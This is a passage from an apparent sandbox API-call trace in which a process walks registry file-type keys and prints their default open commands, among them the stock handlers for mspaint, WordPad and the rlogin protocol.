0x2 [0101.539] SetLastError (dwErrCode=0x2) [0101.539] RegCloseKey (hKey=0x0) returned 0x6 [0101.539] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc10, lpName=0x2eef50, cchName=0x104 | out: lpName="RequestMakeCall.RequestMakeCall") returned 0x0 [0101.540] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RequestMakeCall.RequestMakeCall\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.540] SetLastError (dwErrCode=0x2) [0101.540] RegCloseKey (hKey=0x0) returned 0x6 [0101.540] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc11, lpName=0x2eef50, cchName=0x104 | out: lpName="RequestMakeCall.RequestMakeCall.1") returned 0x0 [0101.540] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RequestMakeCall.RequestMakeCall.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.540] SetLastError (dwErrCode=0x2) [0101.540] RegCloseKey (hKey=0x0) returned 0x6 [0101.540] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc12, lpName=0x2eef50, cchName=0x104 | out: lpName="ResourceAssignment.ResourceAssignment") returned 0x0 [0101.540] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ResourceAssignment.ResourceAssignment\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.540] SetLastError (dwErrCode=0x2) [0101.540] RegCloseKey (hKey=0x0) returned 0x6 [0101.540] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc13, lpName=0x2eef50, cchName=0x104 | out: lpName="ResourceInt.ResourceInt") returned 0x0 [0101.540] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ResourceInt.ResourceInt\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.540] SetLastError (dwErrCode=0x2) [0101.540] RegCloseKey (hKey=0x0) returned 0x6 [0101.540] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc14, lpName=0x2eef50, cchName=0x104 | out: lpName="ResourceManager.ResourceManager") returned 0x0 [0101.540] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ResourceManager.ResourceManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.540] SetLastError (dwErrCode=0x2) [0101.540] RegCloseKey (hKey=0x0) returned 0x6 [0101.540] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc15, lpName=0x2eef50, cchName=0x104 | out: lpName="Results") returned 0x0 [0101.540] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Results\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.540] SetLastError (dwErrCode=0x2) [0101.540] RegCloseKey (hKey=0x0) returned 0x6 [0101.540] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc16, lpName=0x2eef50, cchName=0x104 | out: lpName="rlefile") returned 0x0 [0101.540] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="rlefile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.540] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x52) returned 0x0 [0101.541] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x52 | out: lpType=0x2eef28*=0x2, lpData="\"%systemroot%\\system32\\mspaint.exe\" \"%1\"", lpcbData=0x2eef20*=0x52) returned 0x0 [0101.541] RegCloseKey (hKey=0x64) returned 0x0 [0101.541] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="rlefile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n") returned 50 [0101.541] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.541] GetFileType (hFile=0x5c) returned 0x3 [0101.541] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rlefile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rlefile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 51 [0101.541] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x32, lpOverlapped=0x0) returned 1 [0101.541] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc17, lpName=0x2eef50, cchName=0x104 | out: lpName="rlogin") returned 0x0 [0101.541] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="rlogin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.541] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0xb4) returned 0x0 [0101.541] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0xb4 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l", lpcbData=0x2eef20*=0xb4) returned 0x0 [0101.541] RegCloseKey (hKey=0x64) returned 0x0 [0101.541] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="rlogin=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n") returned 98 [0101.541] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.541] GetFileType (hFile=0x5c) returned 0x3 [0101.541] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rlogin=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rlogin=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", lpUsedDefaultChar=0x0) returned 99 [0101.541] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0101.542] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc18, lpName=0x2eef50, cchName=0x104 | out: lpName="RowPosition.RowPosition") returned 0x0 [0101.542] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RowPosition.RowPosition\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.542] SetLastError (dwErrCode=0x2) [0101.542] RegCloseKey (hKey=0x0) returned 0x6 [0101.542] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc19, lpName=0x2eef50, cchName=0x104 | out: lpName="RowPosition.RowPosition.1") returned 0x0 [0101.542] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RowPosition.RowPosition.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.542] SetLastError (dwErrCode=0x2) [0101.542] RegCloseKey (hKey=0x0) returned 0x6 [0101.542] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1a, lpName=0x2eef50, cchName=0x104 | out: lpName="RowsetHelper") returned 0x0 [0101.542] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="RowsetHelper\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.542] SetLastError (dwErrCode=0x2) [0101.542] RegCloseKey (hKey=0x0) returned 0x6 [0101.542] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1b, lpName=0x2eef50, cchName=0x104 | out: lpName="rqyfile") returned 0x0 [0101.542] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="rqyfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.542] SetLastError (dwErrCode=0x2) [0101.542] RegCloseKey (hKey=0x0) returned 0x6 [0101.542] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1c, lpName=0x2eef50, cchName=0x104 | out: lpName="rtffile") returned 0x0 [0101.542] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="rtffile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.542] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x72) returned 0x0 [0101.542] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x72 | out: lpType=0x2eef28*=0x2, lpData="\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"", lpcbData=0x2eef20*=0x72) returned 0x0 [0101.542] RegCloseKey (hKey=0x64) returned 0x0 [0101.543] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="rtffile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n") returned 66 [0101.543] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.543] GetFileType (hFile=0x5c) returned 0x3 [0101.543] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rtffile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtffile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67 [0101.543] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x42, lpOverlapped=0x0) returned 1 [0101.543] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1d, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpAudioFormat") returned 0x0 [0101.543] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpAudioFormat\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.543] SetLastError (dwErrCode=0x2) [0101.543] RegCloseKey (hKey=0x0) returned 0x6 [0101.543] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1e, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpAudioFormat.1") returned 0x0 [0101.543] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpAudioFormat.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.543] SetLastError (dwErrCode=0x2) [0101.543] RegCloseKey (hKey=0x0) returned 0x6 [0101.543] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1f, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpCompressedLexicon") returned 0x0 [0101.543] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpCompressedLexicon\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.543] SetLastError (dwErrCode=0x2) [0101.543] RegCloseKey (hKey=0x0) returned 0x6 [0101.543] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc20, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpCompressedLexicon.1") returned 0x0 [0101.543] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpCompressedLexicon.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.543] SetLastError (dwErrCode=0x2) [0101.543] RegCloseKey (hKey=0x0) returned 0x6 [0101.543] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc21, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpCustomStream") returned 0x0 [0101.543] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpCustomStream\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.544] SetLastError (dwErrCode=0x2) [0101.544] RegCloseKey (hKey=0x0) returned 0x6 [0101.544] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc22, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpCustomStream.1") returned 0x0 [0101.544] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpCustomStream.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.544] SetLastError (dwErrCode=0x2) [0101.544] RegCloseKey (hKey=0x0) returned 0x6 [0101.544] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc23, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpDataKey") returned 0x0 [0101.544] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpDataKey\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.544] SetLastError (dwErrCode=0x2) [0101.544] RegCloseKey (hKey=0x0) returned 0x6 [0101.544] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc24, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpDataKey.1") returned 0x0 [0101.544] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpDataKey.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.544] SetLastError (dwErrCode=0x2) [0101.544] RegCloseKey (hKey=0x0) returned 0x6 [0101.544] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc25, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpFileStream") returned 0x0 [0101.544] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpFileStream\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.544] SetLastError (dwErrCode=0x2) [0101.544] RegCloseKey (hKey=0x0) returned 0x6 [0101.544] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc26, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpFileStream.1") returned 0x0 [0101.544] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpFileStream.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.544] SetLastError (dwErrCode=0x2) [0101.544] RegCloseKey (hKey=0x0) returned 0x6 [0101.544] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc27, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpGramCompBackEnd") returned 0x0 [0101.544] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpGramCompBackEnd\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.544] SetLastError (dwErrCode=0x2) [0101.544] RegCloseKey (hKey=0x0) returned 0x6 [0101.544] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc28, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpGramCompBackEnd.1") returned 0x0 [0101.544] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpGramCompBackEnd.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.545] SetLastError (dwErrCode=0x2) [0101.545] RegCloseKey (hKey=0x0) returned 0x6 [0101.545] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc29, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpGrammarCompiler") returned 0x0 [0101.545] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpGrammarCompiler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.545] SetLastError (dwErrCode=0x2) [0101.545] RegCloseKey (hKey=0x0) returned 0x6 [0101.545] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2a, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpGrammarCompiler.1") returned 0x0 [0101.545] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpGrammarCompiler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.545] SetLastError (dwErrCode=0x2) [0101.545] RegCloseKey (hKey=0x0) returned 0x6 [0101.545] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2b, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpInProcRecoContext") returned 0x0 [0101.545] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpInProcRecoContext\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.545] SetLastError (dwErrCode=0x2) [0101.545] RegCloseKey (hKey=0x0) returned 0x6 [0101.545] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2c, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpInProcRecoContext.1") returned 0x0 [0101.545] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpInProcRecoContext.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.545] SetLastError (dwErrCode=0x2) [0101.545] RegCloseKey (hKey=0x0) returned 0x6 [0101.545] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2d, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpInprocRecognizer") returned 0x0 [0101.545] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpInprocRecognizer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.545] SetLastError (dwErrCode=0x2) [0101.545] RegCloseKey (hKey=0x0) returned 0x6 [0101.545] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2e, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpInprocRecognizer.1") returned 0x0 [0101.545] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpInprocRecognizer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.545] SetLastError (dwErrCode=0x2) [0101.545] RegCloseKey (hKey=0x0) returned 0x6 [0101.545] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2f, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpITNProcessor") returned 0x0 [0101.545] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpITNProcessor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.546] SetLastError (dwErrCode=0x2) [0101.546] RegCloseKey (hKey=0x0) returned 0x6 [0101.546] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc30, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpITNProcessor.1") returned 0x0 [0101.546] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpITNProcessor.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.546] SetLastError (dwErrCode=0x2) [0101.546] RegCloseKey (hKey=0x0) returned 0x6 [0101.546] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc31, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpLexicon") returned 0x0 [0101.546] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpLexicon\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.546] SetLastError (dwErrCode=0x2) [0101.546] RegCloseKey (hKey=0x0) returned 0x6 [0101.546] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc32, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpLexicon.1") returned 0x0 [0101.546] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpLexicon.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.546] SetLastError (dwErrCode=0x2) [0101.546] RegCloseKey (hKey=0x0) returned 0x6 [0101.546] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc33, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpMemoryStream") returned 0x0 [0101.546] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpMemoryStream\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.546] SetLastError (dwErrCode=0x2) [0101.546] RegCloseKey (hKey=0x0) returned 0x6 [0101.546] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc34, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpMemoryStream.1") returned 0x0 [0101.546] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpMemoryStream.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.546] SetLastError (dwErrCode=0x2) [0101.546] RegCloseKey (hKey=0x0) returned 0x6 [0101.546] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc35, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpMMAudioEnum") returned 0x0 [0101.546] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpMMAudioEnum\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.546] SetLastError (dwErrCode=0x2) [0101.546] RegCloseKey (hKey=0x0) returned 0x6 [0101.546] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc36, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpMMAudioEnum.1") returned 0x0 [0101.547] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpMMAudioEnum.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.547] SetLastError (dwErrCode=0x2) [0101.547] RegCloseKey (hKey=0x0) returned 0x6 [0101.547] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc37, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpMMAudioIn") returned 0x0 [0101.547] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpMMAudioIn\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.547] SetLastError (dwErrCode=0x2) [0101.547] RegCloseKey (hKey=0x0) returned 0x6 [0101.547] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc38, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpMMAudioIn.1") returned 0x0 [0101.547] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpMMAudioIn.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.547] SetLastError (dwErrCode=0x2) [0101.547] RegCloseKey (hKey=0x0) returned 0x6 [0101.547] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc39, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpMMAudioOut") returned 0x0 [0101.547] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpMMAudioOut\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.547] SetLastError (dwErrCode=0x2) [0101.547] RegCloseKey (hKey=0x0) returned 0x6 [0101.547] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3a, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpMMAudioOut.1") returned 0x0 [0101.547] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpMMAudioOut.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.547] SetLastError (dwErrCode=0x2) [0101.547] RegCloseKey (hKey=0x0) returned 0x6 [0101.547] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3b, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SPNotify") returned 0x0 [0101.547] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SPNotify\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.547] SetLastError (dwErrCode=0x2) [0101.547] RegCloseKey (hKey=0x0) returned 0x6 [0101.547] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3c, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SPNotify.1") returned 0x0 [0101.547] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SPNotify.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.547] SetLastError (dwErrCode=0x2) [0101.547] RegCloseKey (hKey=0x0) returned 0x6 [0101.547] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3d, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpNotifyTranslator") returned 0x0 [0101.548] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpNotifyTranslator\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.548] SetLastError (dwErrCode=0x2) [0101.548] RegCloseKey (hKey=0x0) returned 0x6 [0101.548] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3e, lpName=0x2eef50, cchName=0x104 | out: lpName="SAPI.SpNotifyTranslator.1") returned 0x0 [0101.548] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SAPI.SpNotifyTranslator.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: 